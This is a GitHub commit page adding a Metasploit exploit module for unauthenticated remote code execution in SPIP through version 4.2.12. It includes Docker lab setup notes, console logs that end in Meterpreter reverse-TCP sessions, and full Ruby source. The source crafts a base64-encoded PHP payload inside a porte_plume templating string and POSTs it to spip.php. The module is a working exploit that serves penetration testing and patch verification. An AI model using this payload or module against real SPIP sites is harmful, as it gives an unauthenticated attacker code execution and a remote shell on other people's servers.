Skip to content

Commit f3a2205

Browse files
authored
Land rapid7#19394, SPIP Unauthenticated RCE Exploit
2 parents 1a73215 + 62ab17b commit f3a2205

File tree

2 files changed

+292
-0
lines changed

2 files changed

+292
-0
lines changed
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12.
4+
The vulnerability occurs in SPIP’s templating system where it incorrectly handles user-supplied input, allowing an attacker
5+
to inject and execute arbitrary PHP code.
6+
This can be achieved by crafting a payload that manipulates the templating data processed by the `echappe_retour()` function,
7+
which invokes `traitements_previsu_php_modeles_eval()`, containing an `eval()` call.
8+
9+
To replicate a vulnerable environment for testing:
10+
11+
1. Install SPIP using the provided Docker Compose configuration.
12+
2. Use the image `ipeos/spip:4.2.12` to ensure the environment is vulnerable.
13+
3. Verify that the SPIP instance is accessible on the local network.
14+
15+
### Docker Setup
16+
17+
Use the following Docker Compose file to set up the environment:
18+
19+
```yaml
20+
version: '3.8'
21+
22+
services:
23+
db:
24+
image: mariadb:10.5
25+
restart: always
26+
environment:
27+
- MYSQL_ROOT_PASSWORD=MysqlRootPassword
28+
- MYSQL_DATABASE=spip
29+
- MYSQL_USER=spip
30+
- MYSQL_PASSWORD=spip
31+
volumes:
32+
- mysql-data:/var/lib/mysql
33+
34+
app:
35+
image: ipeos/spip:4.2.12
36+
restart: always
37+
depends_on:
38+
- db
39+
environment:
40+
- SPIP_SITE_ADDRESS=http://localhost:8880
41+
- SPIP_DB_SERVER=db
42+
- SPIP_DB_LOGIN=spip
43+
- SPIP_DB_PASS=spip
44+
- SPIP_DB_NAME=spip
45+
- SPIP_AUTO_INSTALL=1
46+
ports:
47+
- 8880:80
48+
volumes:
49+
- spip-data:/var/www/html
50+
51+
volumes:
52+
spip-data:
53+
mysql-data:
54+
```
55+
56+
This Docker Compose file configures a SPIP environment with a MariaDB backend, enabling automatic installation.
57+
Here are the correct setup details:
58+
59+
- **SPIP Access URL:** `http://localhost:8880`
60+
- **Database Configuration:** Utilizes MariaDB, as specified by the database service setup.
61+
- **Automatic Installation:** Enabled via `SPIP_AUTO_INSTALL=1`.
62+
63+
After launching the Docker container, SPIP will be accessible at `http://localhost:8880`.
64+
The automatic installation will simplify the initial setup, allowing you to start using SPIP without manual configuration.
65+
66+
If you decide to disable automatic installation by setting `SPIP_AUTO_INSTALL` to `0`, you will need to manually configure SPIP.
67+
To do this, after starting the container, navigate to `http://localhost:8880/ecrire` to access the SPIP web installation panel.
68+
69+
### Non-Docker Setup
70+
71+
If you prefer not to use Docker, you can manually set up SPIP with the following commands:
72+
73+
```bash
74+
wget https://files.spip.net/spip/archives/spip-v4.2.12.zip
75+
unzip spip-v4.2.12.zip
76+
cd spip-v4.2.12
77+
php -S 0.0.0.0:8000
78+
```
79+
80+
Accessible at `http://localhost:8000`.
81+
82+
## Verification Steps
83+
84+
1. Set up a SPIP instance with the specified Docker environment.
85+
2. Launch `msfconsole` in your Metasploit framework.
86+
3. Use the module: `use exploit/multi/http/spip_porte_plume_previsu_rce`.
87+
4. Set `RHOSTS` to the local IP address or hostname of the target.
88+
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
89+
6. Execute the exploit using the `run` or `exploit` command.
90+
7. If the target is vulnerable, the module will execute the specified payload.
91+
92+
## Options
93+
94+
No additional options are required for basic exploitation.
95+
96+
## Scenarios
97+
98+
### Successful Exploitation Against Local SPIP 4.2.12
99+
100+
**Setup**:
101+
102+
- Local SPIP instance with version 4.2.12.
103+
- Metasploit Framework.
104+
105+
**Steps**:
106+
107+
1. Start `msfconsole`.
108+
2. Load the module:
109+
```
110+
use exploit/multi/http/spip_porte_plume_previsu_rce
111+
```
112+
3. Set `RHOSTS` to the local IP (e.g., 127.0.0.1).
113+
4. Configure other necessary options (TARGETURI, SSL, etc.).
114+
5. Launch the exploit:
115+
```
116+
exploit
117+
```
118+
119+
**Expected Results**:
120+
121+
With `php/meterpreter/reverse_tcp`:
122+
123+
```
124+
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000
125+
126+
[*] Started reverse TCP handler on 192.168.1.36:4444
127+
[*] Running automatic check ("set AutoCheck false" to disable)
128+
[*] SPIP Version detected: 4.2.12
129+
[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable.
130+
[*] Preparing to send exploit payload to the target...
131+
[*] Sending exploit payload to the target...
132+
[*] Sending stage (39927 bytes) to 192.168.1.36
133+
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:56534) at 2024-08-19 19:43:18 +0200
134+
135+
meterpreter > sysinfo
136+
Computer : linux
137+
OS : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
138+
Meterpreter : php/linux
139+
```
140+
141+
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
142+
143+
```
144+
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000
145+
146+
[*] Started reverse TCP handler on 192.168.1.36:4444
147+
[*] Running automatic check ("set AutoCheck false" to disable)
148+
[*] SPIP Version detected: 4.2.12
149+
[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable.
150+
[*] Preparing to send exploit payload to the target...
151+
[*] Sending exploit payload to the target...
152+
[*] Sending stage (3045380 bytes) to 192.168.1.36
153+
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 192.168.1.36:59106) at 2024-08-19 19:44:40 +0200
154+
155+
meterpreter > sysinfo
156+
Computer : 192.168.1.36
157+
OS : LinuxMint 21.3 (Linux 5.15.0-113-generic)
158+
Architecture : x64
159+
BuildTuple : x86_64-linux-musl
160+
Meterpreter : x64/linux
161+
```
162+
163+
- The module successfully exploits the vulnerability and opens a Meterpreter session on the target.
164+
165+
**Note**: Ensure the SPIP instance is correctly configured and running in the Docker environment for the exploit to work as expected.
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Payload::Php
10+
include Msf::Exploit::Remote::HttpClient
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'SPIP Unauthenticated RCE via porte_plume Plugin',
18+
'Description' => %q{
19+
This module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12.
20+
The vulnerability occurs in SPIP’s templating system where it incorrectly handles user-supplied input,
21+
allowing an attacker to inject and execute arbitrary PHP code. This can be achieved by crafting a
22+
payload manipulating the templating data processed by the `echappe_retour()` function, invoking
23+
`traitements_previsu_php_modeles_eval()`, which contains an `eval()` call.
24+
},
25+
'Author' => [
26+
'Valentin Lobstein', # Metasploit module author
27+
'Laluka', # Vulnerability discovery
28+
'Julien Voisin' # Review
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' => [
32+
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html'],
33+
['URL', 'https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather']
34+
],
35+
'Platform' => ['php', 'unix', 'linux', 'win'],
36+
'Arch' => [ARCH_PHP, ARCH_CMD],
37+
'Targets' => [
38+
[
39+
'PHP In-Memory', {
40+
'Platform' => 'php',
41+
'Arch' => ARCH_PHP
42+
# tested with php/meterpreter/reverse_tcp
43+
}
44+
],
45+
[
46+
'Unix/Linux Command Shell', {
47+
'Platform' => ['unix', 'linux'],
48+
'Arch' => ARCH_CMD
49+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
50+
}
51+
],
52+
[
53+
'Windows Command Shell', {
54+
'Platform' => 'win',
55+
'Arch' => ARCH_CMD
56+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
57+
}
58+
]
59+
],
60+
'DefaultTarget' => 0,
61+
'Privileged' => false,
62+
'DisclosureDate' => '2024-08-16',
63+
'Notes' => {
64+
'Stability' => [CRASH_SAFE],
65+
'Reliability' => [REPEATABLE_SESSION],
66+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
67+
}
68+
)
69+
)
70+
end
71+
72+
def check
73+
uri = normalize_uri(target_uri.path, 'spip.php')
74+
res = send_request_cgi({ 'uri' => uri.to_s })
75+
76+
return Exploit::CheckCode::Unknown('Target is unreachable.') unless res
77+
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
78+
79+
version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
80+
return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/
81+
82+
version = ::Regexp.last_match(1)
83+
84+
if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/
85+
version = ::Regexp.last_match(1)
86+
end
87+
88+
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version
89+
90+
print_status("SPIP Version detected: #{version}")
91+
92+
if Rex::Version.new(version) > Rex::Version.new('4.2.12')
93+
return CheckCode::Safe("The detected SPIP version (#{version}) is not vulnerable.")
94+
end
95+
96+
return CheckCode::Appears("The detected SPIP version (#{version}) is vulnerable.")
97+
end
98+
99+
def php_exec_cmd(encoded_payload)
100+
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
101+
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
102+
shell = <<-END_OF_PHP_CODE
103+
#{php_preamble(disabled_varname: dis)}
104+
$c = base64_decode("#{encoded_clean_payload}");
105+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
106+
END_OF_PHP_CODE
107+
return shell
108+
end
109+
110+
def exploit
111+
print_status('Preparing to send exploit payload to the target...')
112+
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
113+
b64_payload = framework.encoders.create('php/base64').encode(phped_payload)
114+
payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php #{b64_payload} ?>`]"
115+
116+
print_status('Sending exploit payload to the target...')
117+
send_request_cgi({
118+
'method' => 'POST',
119+
'uri' => normalize_uri(target_uri.path, 'spip.php'),
120+
'vars_get' => {
121+
'action' => 'porte_plume_previsu'
122+
},
123+
'data' => "data=#{payload}"
124+
})
125+
end
126+
127+
end

0 commit comments

Comments
 (0)